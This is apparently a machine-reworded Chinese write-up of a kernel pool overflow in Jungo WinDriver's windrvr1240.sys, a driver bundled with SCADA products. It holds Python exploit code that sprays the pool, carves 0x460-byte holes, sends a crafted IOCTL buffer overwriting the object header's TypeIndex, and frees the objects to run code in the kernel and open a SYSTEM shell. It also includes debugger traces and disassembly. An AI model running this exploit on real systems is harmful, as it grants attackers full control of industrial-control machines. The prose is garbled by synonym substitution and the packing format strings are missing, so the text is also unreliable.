本文重要探究一个根本的内核池溢出漏洞破绽bug,并研讨在经由进程混杂内核对象停止内核池放射后,若何经由进程笼罩TypeIndex来停止渗入渗出的办法。
此前,我参加了AWE系列课程,在课程停止后,我很想找到一些可以或许利用的内核漏洞破绽bug。尽管我可以或许利用HackSys Extreme Vulnerable Driver(HEVD)这个异常棒的进修对象,但我觉得,在现实利用中发明并利用漏洞破绽bug,会让我更有成就感。
因而,我开端进修若何开辟一个Windows内核装备驱动程序的fuzzer,并利用我自己的fuzzer去发明漏洞破绽bug,这个漏洞破绽bug就是我借助自己的fuzzer发明的。盼望我的漏洞破绽bug发明和利用进程能对人人有所赞助。
漏洞破绽bug阐发
在测试了一些SCADA(数据采集与监督节制体系)产物后,我发明了一个叫做“WinDriver”的第三方组件,它实在是Jungo的DriverWizard WinDriver,该组件平日绑缚于几个SCADA利用程序当中,常常能在旧版本中发明它的踪影。
在装置以后,它将一个名为windrvr1240.sys的装备驱动程序装置到Windows的驱动文件夹内。经由进程逆向,我找到了几个ioctl代码,可以或许间接拔出到我fuzzer的配置文件中。
{
"ioctls_range":{
"start": "0x95380000",
"end": "0x9538ffff"
}
}
而后,我经由进程利用verifier/volatile/flags 0x1/adddriver windrvr1240.sys,启用了一个特别的池,并开端尝试运行了我的fuzzer。随后,胜利发明了几个可以或许利用的漏洞破绽bug,此中一个漏洞破绽bug引起了我的留意:
kd> .trap 0xffffffffc800f96c
ErrCode = 00000002
eax=e4e4e4e4 ebx=8df44ba8 ecx=8df45004 edx=805d2141 esi=f268d599 edi=00000088
eip=9ffbc9e5 esp=c800f9e0 ebp=c800f9ec iopl=0 nv up ei pl nz na pe cy
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010207
windrvr1240+0x199e5:
9ffbc9e5 8941fc mov dword ptr [ecx-4],eax ds:0023:8df45000=????????
kd> dd esi+ecx-4
805d2599 e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25a9 e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25b9 e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25c9 e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25d9 e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25e9 e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25f9 e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d2609 e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
这是存储在[esi + ecx]中的用户节制数据,而它会对超越内核池的部门停止写入,经由进程进一步的研讨发明,这实在是由loc_4199D8中的内联赋值操纵而招致的池溢出。
.text:0041998E sub_41998E proc near ; CODE XREF: sub_419B7C+3B2
.text:0041998E
.text:0041998E arg_0 = dword ptr 8
.text:0041998E arg_4 = dword ptr 0Ch
.text:0041998E
.text:0041998E push ebp
.text:0041998F mov ebp, esp
.text:00419991 push ebx
.text:00419992 mov ebx, [ebp+arg_4]
.text:00419995 push esi
.text:00419996 push edi
.text:00419997 push 458h ; fized size_t +0x8 == 0x460
.text:0041999C xor edi, edi
.text:0041999E push edi ; int
.text:0041999F push ebx ; void *
.text:004199A0 call memset ; memset our buffer before the overflow
.text:004199A5 mov edx, [ebp+arg_0] ; this is the SystemBuffer
.text:004199A8 add esp, 0Ch
.text:004199AB mov eax, [edx]
.text:004199AD mov [ebx], eax
.text:004199AF mov eax, [edx+4]
.text:004199B2 mov [ebx+4], eax
.text:004199B5 mov eax, [edx+8]
.text:004199B8 mov [ebx+8], eax
.text:004199BB mov eax, [edx+10h]
.text:004199BE mov [ebx+10h], eax
.text:004199C1 mov eax, [edx+14h]
.text:004199C4 mov [ebx+14h], eax
.text:004199C7 mov eax, [edx+18h] ; read our controlled size from SystemBuffer
.text:004199CA mov [ebx+18h], eax ; store it in the new kernel buffer
.text:004199CD test eax, eax
.text:004199CF jz short loc_4199ED
.text:004199D1 mov esi, edx
.text:004199D3 lea ecx, [ebx+1Ch] ; index offset for the first write
.text:004199D6 sub esi, ebx
.text:004199D8
.text:004199D8 loc_4199D8: ; CODE XREF: sub_41998E+5D
.text:004199D8 mov eax, [esi+ecx] ; load the first write value from the buffer
.text:004199DB inc edi ; copy loop index
.text:004199DC mov [ecx], eax ; first dword write
.text:004199DE lea ecx, [ecx+8] ; set the index into our overflown buffer
.text:004199E1 mov eax, [esi+ecx-4] ; load the second write value from the buffer
.text:004199E5 mov [ecx-4], eax ; second dword write
.text:004199E8 cmp edi, [ebx+18h] ; compare against our controlled size
.text:004199EB jb short loc_4199D8 ; jump back into loop
卖力复制的轮回,现实上会为每次轮回(qword)复制8个字节,并溢出巨细为0x460(0x458 + 0x8字节头)的缓冲区。复制的巨细,间接是攻击者在输出缓冲区节制部门的巨细。不存在整数溢出,也并无将其存储在不易被找到的处所。咱们可以或许看到,0x004199E8的巨细,就是响应缓冲区中,从+0x18偏移量节制部门的巨细。如许一来,利用就变得尤其简略。
漏洞破绽bug利用
咱们可以或许借助TypeIndex对象笼罩的办法来停止这一漏洞破绽bug的利用,详细来说是利用内核对象,笼罩存储在_OBJECT_HEADER中的TypeIndex。更详细的内容,可以或许参考文末我援用的文章。
以往咱们利用的一些罕用对象都是Event对象(巨细为0x40)和IoCompletionReserve对象(巨细为0x60),罕用的利用办法是像如许:
1. 用巨细为X的对象形成池放射,填满内存页;
2. 经由进程立刻开释内存(free)或削减对象的援用计数(release,不会立刻开释)相邻的对象,以触发coalescing,从而达到目的区块请求的巨细(在本例中是0x460);
3. 分派和溢出缓冲区,如许有必定概率可以或许打消下一个对象的_OBJECT_HEADER,从而利用TypeIndex。
举例来说,假如溢出的缓冲区巨细是0x200,就可以或许分派一组Event对象,并开释(free)此中的0x8(由于0x40 * 0x8 == 0x200),如许一来咱们就可以或许在此中停止分派和溢出。以是,咱们假定必要的内核对象,是池巨细的n次幂。
但成绩是,经由进程这类办法有时并不会有用,比方咱们的池巨细是0x460,假如咱们如许的话:
>>> 0x460 % 0x40
32
>>> 0x460 % 0x60
64
>>>
成果注解,总会有残剩的一部门空间,也就是说咱们不克不及使其发生一个特定巨细的区块。起初,我发明有一种办法可以或许办理该成绩,咱们可以或许搜刮具备目的缓冲区巨细的n次幂的内核对象,并利用这些找到的对象。颠末征采,我发明了别的两个内核对象:
# 1
type = "Job"
size = 0x168
windll.kernel32.CreateJobObjectW(None, None)
# 2
type = "Timer"
size = 0xc8
windll.kernel32.CreateWaitableTimerW(None, 0, None)
但是,这些巨细也异样不克不及利用,由于它们没有满足请求。颠末一段时间的测试,我意想到,可以或许采纳如许的办法:
>>> 0x460 % 0xa0
>>>
如许一来,0xa0就可以或许平均地分红几个0x460,那末咱们再将Event和IoCompletionReserve对象联合起来(0x40 + 0x60 = 0xa0),就可以或许完成!
放射进程
def we_can_spray():
"""
Spray the Kernel Pool with IoCompletionReserve and Event Objects.
The IoCompletionReserve object is 0x60 and Event object is 0x40 bytes in length.
These are allocated from the Nonpaged kernel pool.
"""
handles = []
IO_COMPLETION_OBJECT = 1
for i in range(0, 25000):
handles.append(windll.kernel32.CreateEventA(0,0,0,0))
hHandle = HANDLE(0)
handles.append(ntdll.NtAllocateReserveObject(byref(hHandle), 0x0, IO_COMPLETION_OBJECT))
# could do with some better validation
if len(handles) > 0:
return True
return False
这个函数可以或许喷出50000个对象,此中包括25000个Event对象和25000个IoCompletionReserve对象。在WinDBG中,看起来异常炫酷:
kd> !pool 85d1f000
Pool page 85d1f000 region is Nonpaged pool
*85d1f000 size: 60 previous size: 0 (Allocated) *IoCo (Protected)
Owning component : Unknown (update pooltag.txt)
85d1f060 size: 60 previous size: 60 (Allocated) IoCo (Protected) in the page
85d1f0c0 size: 40 previous size: 60 (Allocated) Even (Protected)
85d1f100 size: 60 previous size: 40 (Allocated) IoCo (Protected)
85d1f160 size: 40 previous size: 60 (Allocated) Even (Protected)
......
85d1ff60 size: 60 previous size: 40 (Allocated) IoCo (Protected)
85d1ffc0 size: 40 previous size: 60 (Allocated) Even (Protected)
构建洞
“IoCo”标记代表IoCompletionReserve对象,“Even”标记代表Event对象。请留意,咱们第一个区块的偏移量是0x60,这就是咱们开端开释(free)的偏移量。假如咱们开释一组IoCompletionReserve和Event对象,那末咱们的盘算成果就是:
>>> "0x%x" % (0x7 * 0xa0)
'0x460'
>>>
此时,会发生咱们所盼望的巨细。让咱们敏捷来看看假如咱们只开释接上去的7个IoCompletionReserve对象后会怎样:
kd> !pool 85d1f000
Pool page 85d1f000 region is Nonpaged pool
*85d1f000 size: 60 previous size: 0 (Allocated) *IoCo (Protected)
Owning component : Unknown (update pooltag.txt)
85d1f060 size: 60 previous size: 60 (Free) IoCo
85d1f0c0 size: 40 previous size: 60 (Allocated) Even (Protected)
85d1f100 size: 60 previous size: 40 (Free) IoCo
85d1f160 size: 40 previous size: 60 (Allocated) Even (Protected)
......
85d1f420 size: 60 previous size: 40 (Free) IoCo
85d1f480 size: 40 previous size: 60 (Allocated) Even (Protected)
85d1f4c0 size: 60 previous size: 40 (Allocated) IoCo (Protected)
85d1f520 size: 40 previous size: 60 (Allocated) Even (Protected)
......
85d1ff60 size: 60 previous size: 40 (Allocated) IoCo (Protected)
85d1ffc0 size: 40 previous size: 60 (Allocated) Even (Protected)
可以或许看出,咱们曾经领有许多已被开释的块,但它们是各自自力的。然则,咱们仍必要把它们归并成一个0x460的区块。咱们起首将区块的偏移量设置为0x60(第一个指向0xXXXXY060)。
bin = []
# object sizes
CreateEvent_size = 0x40
IoCompletionReserve_size = 0x60
combined_size = CreateEvent_size + IoCompletionReserve_size
# after the 0x20 chunk hole, the first object will be the IoCompletionReserve object
offset = IoCompletionReserve_size
for i in range(offset, offset + (7 * combined_size), combined_size):
try:
# chunks need to be next to each other for the coalesce to take effect
bin.append(khandlesd[obj + i])
bin.append(khandlesd[obj + i - IoCompletionReserve_size])
except KeyError:
pass
# make sure it's contiguously allocated memory
if len(tuple(bin)) == 14:
holes.append(tuple(bin))
# make the holes to fill
for hole in holes:
for handle in hole:
kernel32.CloseHandle(handle)
在咱们开释函数的同时,在池中打洞,并得到咱们所等待的开释块。
kd> !pool 8674e000
Pool page 8674e000 region is Nonpaged pool
*8674e000 size: 460 previous size: 0 (Free) *Io free
Pooltag Io : general IO allocations, Binary : nt!io
8674e460 size: 60 previous size: 460 (Allocated) IoCo (Protected)
8674e4c0 size: 40 previous size: 60 (Allocated) Even (Protected)
......
8674ef60 size: 40 previous size: 60 (Allocated) Even (Protected)
{C} 8674efa0 size: 60 previous size: 40 (Allocated) IoCo (Protected)
在此时,开释的区块曾经归并,而且领有一个完美的巨细,接上去就可以或许停止分派和笼罩。
对已开释区块的分派和笼罩
def we_can_trigger_the_pool_overflow():
"""
This triggers the pool overflow vulnerability using a buffer of size 0x460.
"""
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
DEVICE_NAME = "\\\\.\\WinDrvr1240"
dwReturn = c_ulong()
driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
inputbuffer = 0x41414141
inputbuffer_size = 0x5000
outputbuffer_size = 0x5000
outputbuffer = 0x20000000
alloc_pool_overflow_buffer(inputbuffer, inputbuffer_size)
IoStatusBlock = c_ulong()
if driver_handle:
dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle, None, None, None, byref(IoStatusBlock), 0x953824b7,
inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size)
return True
return False
完成溢出
人人可以或许留意到,在对缓冲区中偏移0x90的利用中,有一个空的dword。
def alloc_pool_overflow_buffer(base, input_size):
"""
Craft our special buffer to trigger the overflow.
"""
print "(+) allocating pool overflow input buffer"
baseadd = c_int(base)
size = c_int(input_size)
input = "\x41" * 0x18 # offset to size
input += struct.pack(", 0x0000008d) # controlled size (this triggers the overflow)
input += "\x42" * (0x90-len(input)) # padding to survive bsod
input += struct.pack(", 0x00000000) # use a NULL dword for sub_4196CA
input += "\x43" * ((0x460-0x8)-len(input)) # fill our pool buffer
该溢出必要一直存在,而且不克不及再被处置。以下的代码可以或许在复制轮回后间接履行:
.text:004199ED loc_4199ED: ; CODE XREF: sub_41998E+41
.text:004199ED push 9
.text:004199EF pop ecx
.text:004199F0 lea eax, [ebx+90h] ; controlled from the copy
.text:004199F6 push eax ; void *
.text:004199F7 lea esi, [edx+6Ch] ; controlled offset
.text:004199FA lea eax, [edx+90h] ; controlled offset
.text:00419A00 lea edi, [ebx+6Ch] ; controlled from copy
.text:00419A03 rep movsd
.text:00419A05 push eax ; int
{C}.text:00419A06 call sub_4196CA ; call sub_4196CA
值得留意的是,代码将会挪用sub_4196CA。别的还要留意,@eax会成为咱们的缓冲区+0x90(0x004199FA)。咱们详细看一下这个函数挪用:
.text:004196CA sub_4196CA proc near ; CODE XREF: sub_4195A6+1E
.text:004196CA ; sub_41998E+78 ...
.text:004196CA
.text:004196CA arg_0 = dword ptr 8
.text:004196CA arg_4 = dword ptr 0Ch
.text:004196CA
.text:004196CA push ebp
.text:004196CB mov ebp, esp
.text:004196CD push ebx
.text:004196CE mov ebx, [ebp+arg_4]
.text:004196D1 push edi
.text:004196D2 push 3C8h ; size_t
.text:004196D7 push 0 ; int
.text:004196D9 push ebx ; void *
.text:004196DA call memset
.text:004196DF mov edi, [ebp+arg_0] ; controlled buffer
.text:004196E2 xor edx, edx
.text:004196E4 add esp, 0Ch
.text:004196E7 mov [ebp+arg_4], edx
.text:004196EA mov eax, [edi] ; make sure @eax is null
.text:004196EC mov [ebx], eax ; the write here is fine
.text:004196EE test eax, eax
.text:004196F0 jz loc_4197CB ; take the jump
该代码,会从咱们在+0x90的SystemBuffer中得到一个dword值,并将其写入溢出的缓冲区当中,并反省其能否为空。假如为空,咱们就不在这个函数中对其继承做处置,而且前往。
.text:004197CB loc_4197CB: ; CODE XREF: sub_4196CA+26
.text:004197CB pop edi
.text:004197CC pop ebx
{C}.text:004197CD pop ebp
.text:004197CE retn 8
假如不这么做,在试图拜访缓冲区中不存在的指针时,很有可以或许会呈现蓝屏。
至此,咱们就可以或许毫无挂念地触发eop了。对于Shellcode清算,咱们溢出的缓冲区存储在@esi中,以是咱们可以或许盘算TypeIndex的偏移量,并对其停止修补。末了,倡议将ObjectCreateInfo改成空,由于体系会防止利用这个指针。
打造咱们的缓冲区
考虑到在每一次轮回时,都邑复制0x8字节,而且肇端索引是0x1c:
.text:004199D3 lea ecx, [ebx+1Ch] ; index offset for the first write
假定咱们盼望得到44字节(0x2c)的缓冲区溢出,咱们用缓冲区的巨细,减去头部,减去肇端索引偏移量,加之想要溢出的字节数,末了将其除以0x8(这是由于每次轮回都复制0x8字节)。
(0x460 – 0x8 – 0x1c + 0x2c) / 0x8 = 0x8d
也就是说,0x8d的巨细会使缓冲区溢出0x2c(即44字节),并能损坏池的头部、援用和对象头。
# repair the allocated chunk header...
input += struct.pack(", 0x040c008c) # _POOL_HEADER
input += struct.pack(", 0xef436f49) # _POOL_HEADER (PoolTag)
input += struct.pack(", 0x00000000) # _OBJECT_HEADER_QUOTA_INFO
input += struct.pack(", 0x0000005c) # _OBJECT_HEADER_QUOTA_INFO
input += struct.pack(", 0x00000000) # _OBJECT_HEADER_QUOTA_INFO
input += struct.pack(", 0x00000000) # _OBJECT_HEADER_QUOTA_INFO
input += struct.pack(", 0x00000001) # _OBJECT_HEADER (PointerCount)
input += struct.pack(", 0x00000001) # _OBJECT_HEADER (HandleCount)
input += struct.pack(", 0x00000000) # _OBJECT_HEADER (Lock)
input += struct.pack(", 0x00080000) # _OBJECT_HEADER (TypeIndex)
input += struct.pack(", 0x00000000) # _OBJECT_HEADER (ObjectCreateInfo)
当咱们将到0x00080000(现实上是较小的一个值)的TypeIndex为null。这意味着,函数表会指向0x0,而且咱们可以或许映照空页。
kd> dd nt!ObTypeIndexTable L2
82b7dee0 00000000 bad0b0b0
请留意,这里的第二个索引是0xbad0b0b0。如许的办法异样可以或许用于x64体系。
触发内核中的代码履行
在触发了溢出后,它存活了上去。但为了得到eop,咱们必要设置一个指向0x00000074的指针,以利用OkayToCloseProcedure函数指针。
kd> dt nt!_OBJECT_TYPE name 84fc8040
+0x008 Name : _UNICODE_STRING "IoCompletionReserve"
kd> dt nt!_OBJECT_TYPE 84fc8040 .
+0x000 TypeList : [ 0x84fc8040 - 0x84fc8040 ]
+0x000 Flink : 0x84fc8040 _LIST_ENTRY [ 0x84fc8040 - 0x84fc8040 ]
+0x004 Blink : 0x84fc8040 _LIST_ENTRY [ 0x84fc8040 - 0x84fc8040 ]
+0x008 Name : "IoCompletionReserve"
+0x000 Length : 0x26
+0x002 MaximumLength : 0x28
+0x004 Buffer : 0x88c01090 "IoCompletionReserve"
+0x010 DefaultObject :
+0x014 Index : 0x0 ''
+0x018 TotalNumberOfObjects : 0x61a9
+0x01c TotalNumberOfHandles : 0x61a9
+0x020 HighWaterNumberOfObjects : 0x61a9
+0x024 HighWaterNumberOfHandles : 0x61a9
+0x028 TypeInfo :
+0x000 Length : 0x50
+0x002 ObjectTypeFlags : 0x2 ''
+0x002 CaseInsensitive : 0y0
+0x002 UnnamedObjectsOnly : 0y1
+0x002 UseDefaultObject : 0y0
+0x002 SecurityRequired : 0y0
+0x002 MaintainHandleCount : 0y0
+0x002 MaintainTypeList : 0y0
+0x002 SupportsObjectCallbacks : 0y0
+0x002 CacheAligned : 0y0
+0x004 ObjectTypeCode : 0
+0x008 InvalidAttributes : 0xb0
+0x00c GenericMapping : _GENERIC_MAPPING
+0x01c ValidAccessMask : 0xf0003
+0x020 RetainAccess : 0
+0x024 PoolType : 0 ( NonPagedPool )
+0x028 DefaultPagedPoolCharge : 0
+0x02c DefaultNonPagedPoolCharge : 0x5c
+0x030 DumpProcedure : (null)
+0x034 OpenProcedure : (null)
+0x038 CloseProcedure : (null)
+0x03c DeleteProcedure : (null)
+0x040 ParseProcedure : (null)
+0x044 SecurityProcedure : 0x82cb02ac long nt!SeDefaultObjectMethod+0
+0x048 QueryNameProcedure : (null)
+0x04c OkayToCloseProcedure : (null)
+0x078 TypeLock :
+0x000 Locked : 0y0
+0x000 Waiting : 0y0
+0x000 Waking : 0y0
+0x000 MultipleShared : 0y0
+0x000 Shared : 0y0000000000000000000000000000 (0)
+0x000 Value : 0
+0x000 Ptr : (null)
+0x07c Key : 0x6f436f49
+0x080 CallbackList : [ 0x84fc80c0 - 0x84fc80c0 ]
+0x000 Flink : 0x84fc80c0 _LIST_ENTRY [ 0x84fc80c0 - 0x84fc80c0 ]
+0x004 Blink : 0x84fc80c0 _LIST_ENTRY [ 0x84fc80c0 - 0x84fc80c0 ]
如许,0x28 + 0x4c = 0x74就是咱们的指针必要指向的地位。然则OkayToCloseProcedure是若何挪用的呢?颠末研讨发明,这是一个注册的aexit handler。以是,为了触发代码的履行,咱们只必要开释损坏的IoCompletionReserve。咱们并不清楚句柄是与哪个溢出块相联系关系,以是咱们爽性全体开释它们。
def trigger_lpe():
"""
This function frees the IoCompletionReserve objects and this triggers the
registered aexit, which is our controlled pointer to OkayToCloseProcedure.
"""
# free the corrupted chunk to trigger OkayToCloseProcedure
for k, v in khandlesd.iteritems():
kernel32.CloseHandle(v)
os.system("cmd.exe")
末了,咱们终极胜利完成,如图所示: